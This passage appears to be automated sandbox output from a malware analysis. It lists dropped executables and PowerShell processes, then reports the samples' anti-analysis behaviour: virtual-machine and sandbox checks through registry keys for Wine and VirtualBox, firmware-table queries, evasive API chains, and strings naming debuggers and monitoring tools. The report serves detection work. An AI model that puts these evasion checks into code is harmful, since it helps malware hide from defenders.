Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 79cd489a19.exe PID: 7848, type: MEMORYSTR

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Windows\SysWOW64\svchost.exe

Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep	graph_6-37320
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_0-11998
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_1-9912

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe

System information queried: FirmwareTableInformation

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	API/Special instruction interceptor: Address: 7FFE2220D044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFE2220D044

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000002.2728567612.00000000006EC000.00000004.00000001.01000000.00000013.sdmp, 5fc147bcaa.exe, 0000000E.00000002.2735008369.0000000005050000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000002.2728567612.00000000006EC000.00000004.00000001.01000000.00000013.sdmp, 5fc147bcaa.exe, 0000000E.00000002.2735008369.0000000005050000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE
